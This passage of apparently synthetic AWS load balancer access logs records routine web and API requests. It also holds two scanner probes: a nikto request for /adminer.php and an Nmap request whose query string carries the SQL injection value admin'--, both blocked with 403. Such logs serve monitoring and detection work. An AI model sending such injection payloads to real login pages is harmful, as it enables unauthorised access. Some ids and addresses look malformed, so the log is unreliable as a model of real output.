(KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6af-7413d0a4169c46958c47ee94" "prod-web-alb.example.com" "-" 1 2024-11-01T02:12:47.335106Z "forward" "-" "-" "10.0.32.135:443" "404" "-" "-" +https 2024-11-01T02:12:49.108377Z prod-web-alb 49.240.115.133:28813 10.0.107.233:443 0.083112 0.008345 0.081512 200 200 71 8578 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b1-42d1a216d854407caf6f13f9" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:49.108377Z "forward" "-" "-" "10.0.107.233:443" "200" "-" "-" +https 2024-11-01T02:12:50.411878Z prod-web-alb 181.237.213.104:56441 10.0.40.199:443 0.042429 0.082947 0.057780 404 404 929 6664 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b2-bc4f4e11d9ef4728b7c3f71d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:12:50.411878Z "forward" "-" "-" "10.0.40.199:443" "404" "-" "-" +https 2024-11-01T02:12:52.043462Z prod-api-alb 46.23.76.54:27891 10.0.117.197:443 0.012068 0.092547 0.095217 200 200 903 6655 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6b4-737a86fe60804e209213b2d1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:12:52.043462Z "forward" "-" "-" "10.0.117.197:443" "200" "-" "-" +https 2024-11-01T02:12:52.742225Z staging-alb 221.160.234.137:40438 224.80.220.222:80 0.039265 0.260186 0.145046 302 302 819 13662 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6b4-1d93bea75c2543cfb976b33a" "staging-alb.example.com" "-" 9 2024-11-01T02:12:52.742225Z "forward" "-" "-" "224.80.220.222:80" "302" "-" "-" +https 2024-11-01T02:12:53.223050Z staging-alb 191.196.191.108:22649 160.4.253.63:443 0.123722 0.478655 0.004088 200 200 780 2318 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6b5-4913b68151f84e7b9c1d00b2" "staging-alb.example.com" "-" 4 2024-11-01T02:12:53.223050Z "forward" "-" "-" "160.4.253.63:443" "200" "-" "-" +https 2024-11-01T02:12:53.920052Z prod-web-alb 208.66.92.24:35679 10.0.94.64:443 0.017411 0.440410 0.009878 302 302 348 3905 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b5-7fb182a657614f98b0b148a0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:12:53.920052Z "forward" "-" "-" "10.0.94.64:443" "302" "-" "-" +https 2024-11-01T02:12:54.499739Z prod-web-alb 94.229.58.86:57203 10.0.235.87:443 0.055080 0.185103 0.014393 404 404 222 1009 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6b6-b4ee927a528b4f4b95af0f9a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:12:54.499739Z "forward" "-" "-" "10.0.235.87:443" "404" "-" "-" +https 2024-11-01T02:12:55.726698Z prod-api-alb 178.84.215.27:35004 10.0.225.91:443 0.020249 0.434599 0.042832 200 200 199 3975 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6b7-85687ef888f244fc83120572" "prod-api-alb.example.com" "-" 2 2024-11-01T02:12:55.726698Z "forward" "-" "-" "10.0.225.91:443" "200" "-" "-" +https 2024-11-01T02:12:57.596827Z prod-web-alb 209.105.124.250:25321 10.0.207.50:443 0.022188 0.080104 0.085329 200 200 330 10594 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6b9-0d5530cbae854b5499a65e9a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:12:57.596827Z "forward" "-" "-" "10.0.207.50:443" "200" "-" "-" +https 2024-11-01T02:12:58.383145Z prod-api-alb 224.62.226.200:18981 10.0.126.76:443 0.047801 0.057806 0.070564 200 200 323 6808 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6ba-fef6e4265065461993ff5b9c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:12:58.383145Z "forward" "-" "-" "10.0.126.76:443" "200" "-" "-" +https 2024-11-01T02:12:59.959955Z prod-api-alb 205.35.224.135:45533 10.0.228.94:443 0.078627 0.041201 0.054053 200 200 206 4779 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6bb-9bfd01c77d9f41f791ea0610" "prod-api-alb.example.com" "-" 4 2024-11-01T02:12:59.959955Z "forward" "-" "-" "10.0.228.94:443" "200" "-" "-" +https 2024-11-01T02:13:01.117659Z staging-alb 223.101.178.86:52412 66.166.13.251:80 0.142407 0.323658 0.050069 200 200 726 3270 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6bd-da95586300b544b6ab7751cd" "staging-alb.example.com" "-" 7 2024-11-01T02:13:01.117659Z "forward" "-" "-" "66.166.13.251:80" "200" "-" "-" +https 2024-11-01T02:13:01.454891Z prod-web-alb 164.173.211.73:33528 10.0.106.77:443 0.072403 0.183915 0.000659 302 302 517 4366 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6bd-00123cb7cb654ce6a622b33d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:01.454891Z "forward" "-" "-" "10.0.106.77:443" "302" "-" "-" +https 2024-11-01T02:13:02.517814Z prod-api-alb 242.71.168.234:27775 10.0.234.76:443 0.066587 0.346240 0.072280 200 200 669 7661 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6be-952e2321d9944865a365aca0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:13:02.517814Z "forward" "-" "-" "10.0.234.76:443" "200" "-" "-" +https 2024-11-01T02:13:03.224535Z prod-api-alb 69.232.161.101:34249 10.0.25.197:443 0.044165 0.399889 0.064088 200 200 947 13452 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6bf-b173a8acad48485bafab28ba" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:03.224535Z "forward" "-" "-" "10.0.25.197:443" "200" "-" "-" +https 2024-11-01T02:13:04.995551Z prod-web-alb 70.170.220.182:53134 10.0.165.142:443 0.071271 0.170038 0.036584 301 301 992 14172 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6c0-8b346417a60f4ec7a744d4fe" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:04.995551Z "forward" "-" "-" "10.0.165.142:443" "301" "-" "-" +https 2024-11-01T02:13:06.363432Z prod-api-alb 194.11.185.30:18399 10.0.168.96:443 0.081034 0.290081 0.025447 302 302 55 5304 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6c2-2612e94422c24720af55f5b9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:13:06.363432Z "forward" "-" "-" "10.0.168.96:443" "302" "-" "-" +http 2024-11-01T02:13:06.750199Z staging-alb 221.196.247.135:21877 40.16.226.19:8080 0.146198 0.024879 0.020817 404 404 685 5294 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6c2-dc34134e51a2428088369aa8" "staging-alb.example.com" "-" 9 2024-11-01T02:13:06.750199Z "forward" "-" "-" "40.16.226.19:8080" "404" "-" "-" +https 2024-11-01T02:13:08.037483Z staging-alb 78.164.102.189:39308 13.155.43.202:443 0.074697 0.399517 0.055141 200 200 547 14380 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6c4-6d2e4ba1c93141b1874a23df" "staging-alb.example.com" "-" 2 2024-11-01T02:13:08.037483Z "forward" "-" "-" "13.155.43.202:443" "200" "-" "-" +https 2024-11-01T02:13:08.539725Z prod-web-alb 242.223.160.54:12186 10.0.163.245:443 0.039488 0.344001 0.012433 200 200 574 1591 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6c4-fa29cb6ea10f485590610bc8" "prod-web-alb.example.com" "-" 3 2024-11-01T02:13:08.539725Z "forward" "-" "-" "10.0.163.245:443" "200" "-" "-" +https 2024-11-01T02:13:09.929332Z prod-api-alb 189.173.180.150:58969 10.0.1.152:443 0.021094 0.372339 0.014658 404 404 552 5516 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6c5-b3bf6772affd4224b598b209" "prod-api-alb.example.com" "-" 8 2024-11-01T02:13:09.929332Z "forward" "-" "-" "10.0.1.152:443" "404" "-" "-" +http 2024-11-01T02:13:11.835918Z staging-alb 123.71.124.136:53065 48.8.116.36:80 0.017716 0.576677 0.044186 301 301 336 6818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6c7-0527822daf2e4ac281521e46" "staging-alb.example.com" "-" 3 2024-11-01T02:13:11.835918Z "forward" "-" "-" "48.8.116.36:80" "301" "-" "-" +https 2024-11-01T02:13:13.556117Z prod-web-alb 151.69.234.85:62807 10.0.66.62:443 0.009998 0.175859 0.034729 302 302 832 5044 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6c9-bb182720572146ca98e5faac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:13.556117Z "forward" "-" "-" "10.0.66.62:443" "302" "-" "-" +https 2024-11-01T02:13:14.748156Z prod-web-alb 148.90.82.15:37467 10.0.173.232:443 0.057095 0.300081 0.040447 200 200 985 4088 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ca-0f04644c5a714925bf8e3dce" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:14.748156Z "forward" "-" "-" "10.0.173.232:443" "200" "-" "-" +https 2024-11-01T02:13:15.193533Z prod-web-alb 142.240.177.138:33753 10.0.192.101:443 0.041686 0.311839 0.017006 200 200 809 2813 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6cb-eea7b29ce04b4531bbd61fe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:15.193533Z "forward" "-" "-" "10.0.192.101:443" "200" "-" "-" +https 2024-11-01T02:13:16.494544Z prod-api-alb 175.44.191.36:62857 10.0.234.138:443 0.082220 0.461389 0.068015 200 200 876 8867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6cc-da312263a6754885b9924dda" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:16.494544Z "forward" "-" "-" "10.0.234.138:443" "200" "-" "-" +https 2024-11-01T02:13:18.350167Z prod-web-alb 45.155.205.6:10972 10.0.176.84:443 0.059071 0.238256 0.037521 403 403 66 8995 "GET /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6ce-1f0748ee3fe74c26a1c1c216" "-" "-" 0 2024-11-01T02:13:18.350167Z "forward" "-" "-" "10.0.176.84:443" "403" "-" "-" +https 2024-11-01T02:13:19.373532Z prod-api-alb 96.30.111.122:13067 10.0.248.223:443 0.029798 0.462116 0.044473 404 404 195 2725 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6cf-8bcd024db2af495289bdf541" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:19.373532Z "forward" "-" "-" "10.0.248.223:443" "404" "-" "-" +https 2024-11-01T02:13:20.611302Z prod-api-alb 123.111.87.92:61371 10.0.231.73:443 0.083045 0.071356 0.012390 404 404 14 10915 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6d0-a8bf281250c24e94ae8b8a7d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:13:20.611302Z "forward" "-" "-" "10.0.231.73:443" "404" "-" "-" +https 2024-11-01T02:13:20.775789Z prod-web-alb 10.222.50.69:14274 10.0.178.5:443 0.074019 0.426527 0.035732 200 200 319 14513 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6d0-c7db747cc1ef41a09513f949" "prod-web-alb.example.com" "-" 4 2024-11-01T02:13:20.775789Z "forward" "-" "-" "10.0.178.5:443" "200" "-" "-" +https 2024-11-01T02:13:21.348190Z prod-api-alb 96.108.175.11:61537 10.0.1.251:443 0.042156 0.279815 0.021357 200 200 330 10851 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6d1-a05004527dc643609b395084" "prod-api-alb.example.com" "-" 4 2024-11-01T02:13:21.348190Z "forward" "-" "-" "10.0.1.251:443" "200" "-" "-" +https 2024-11-01T02:13:22.105451Z prod-api-alb 108.251.39.219:49126 10.0.255.146:443 0.017161 0.035447 0.007828 404 404 876 5337 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6d2-feff58ca6f194833a88219be" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:22.105451Z "forward" "-" "-" "10.0.255.146:443" "404" "-" "-" +http 2024-11-01T02:13:23.429601Z staging-alb 27.245.204.42:37590 224.124.228.102:443 0.115995 0.460218 0.058620 301 301 442 7023 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6d3-e88ea3ce99084866bc0cb740" "staging-alb.example.com" "-" 6 2024-11-01T02:13:23.429601Z "forward" "-" "-" "224.124.228.102:443" "301" "-" "-" +https 2024-11-01T02:13:24.234964Z prod-web-alb 218.64.176.16:26656 10.0.5.179:443 0.079993 0.232258 0.047686 200 200 898 4465 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d4-4a2d4f7b9c25479a8dc8d623" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:24.234964Z "forward" "-" "-" "10.0.5.179:443" "200" "-" "-" +http 2024-11-01T02:13:24.849425Z staging-alb 60.107.23.135:51032 68.16.70.23:80 0.137926 0.092872 0.027667 200 200 480 2904 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6d4-634b01301cd34a7b963a03aa" "staging-alb.example.com" "-" 0 2024-11-01T02:13:24.849425Z "forward" "-" "-" "68.16.70.23:80" "200" "-" "-" +https 2024-11-01T02:13:25.756538Z prod-web-alb 108.11.226.177:14882 10.0.168.21:443 0.018125 0.412365 0.061005 301 301 518 4639 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6d5-8ddbd952373743ef86183bd4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:13:25.756538Z "forward" "-" "-" "10.0.168.21:443" "301" "-" "-" +http 2024-11-01T02:13:27.263727Z staging-alb 86.223.41.154:21668 60.42.125.243:8080 0.144358 0.412709 0.070810 301 301 606 1884 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6d7-ecb1b9591edb47ed8a85e7a7" "staging-alb.example.com" "-" 8 2024-11-01T02:13:27.263727Z "forward" "-" "-" "60.42.125.243:8080" "301" "-" "-" +https 2024-11-01T02:13:27.607584Z prod-web-alb 56.20.129.34:43797 10.0.184.42:443 0.000938 0.385867 0.006819 200 200 5 9784 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d7-c8729b1d45f94296a3e5e668" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:27.607584Z "forward" "-" "-" "10.0.184.42:443" "200" "-" "-" +https 2024-11-01T02:13:28.998458Z prod-web-alb 186.203.26.79:15661 10.0.243.196:443 0.080284 0.284365 0.032903 200 200 723 11775 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6d8-a21aebd208634716b3f0dbae" "prod-web-alb.example.com" "-" 10 2024-11-01T02:13:28.998458Z "forward" "-" "-" "10.0.243.196:443" "200" "-" "-" +https 2024-11-01T02:13:30.392984Z prod-web-alb 143.247.179.93:22816 10.0.39.217:443 0.055357 0.024203 0.046935 301 301 606 13131 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6da-e5e80fa6508641878d3eb8ee" "prod-web-alb.example.com" "-" 9 2024-11-01T02:13:30.392984Z "forward" "-" "-" "10.0.39.217:443" "301" "-" "-" +http 2024-11-01T02:13:31.731258Z staging-alb 67.52.94.137:63000 211.175.245.198:80 0.117819 0.355635 0.124934 200 200 982 8423 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6db-a03ff82b0cc1488cba7433c9" "staging-alb.example.com" "-" 5 2024-11-01T02:13:31.731258Z "forward" "-" "-" "211.175.245.198:80" "200" "-" "-" +https 2024-11-01T02:13:32.305387Z prod-api-alb 185.181.129.31:49246 10.0.103.229:443 0.057454 0.291709 0.043337 403 403 333 14576 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6dc-b76747fa792c4447a7791094" "-" "-" 7 2024-11-01T02:13:32.305387Z "forward" "-" "-" "10.0.103.229:443" "403" "-" "-" +https 2024-11-01T02:13:33.430088Z prod-web-alb 114.134.201.206:22611 10.0.73.175:443 0.087054 0.168297 0.024608 301 301 161 1878 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6dd-1cfd88f786c84c53a9e72130" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:33.430088Z "forward" "-" "-" "10.0.73.175:443" "301" "-" "-" +https 2024-11-01T02:13:34.462261Z prod-api-alb 170.109.192.190:64264 10.0.216.23:443 0.004074 0.192947 0.003629 200 200 155 445 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6de-baa98eaeafb7416d98cf99c0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:13:34.462261Z "forward" "-" "-" "10.0.216.23:443" "200" "-" "-" +https 2024-11-01T02:13:35.367208Z staging-alb 187.240.208.14:17621 132.142.58.6:80 0.106529 0.719367 0.008510 200 200 50 3188 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6df-ca016a4aa7a44e1c9e306d7d" "staging-alb.example.com" "-" 6 2024-11-01T02:13:35.367208Z "forward" "-" "-" "132.142.58.6:80" "200" "-" "-" +https 2024-11-01T02:13:36.287404Z prod-api-alb 133.174.14.182:39257 10.0.70.229:443 0.031823 0.258995 0.043621 302 302 597 13422 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6e0-5bf53d172f1c4ad58f9c43ce" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:36.287404Z "forward" "-" "-" "10.0.70.229:443" "302" "-" "-" +http 2024-11-01T02:13:37.155762Z staging-alb 173.132.49.16:12873 99.223.73.210:8080 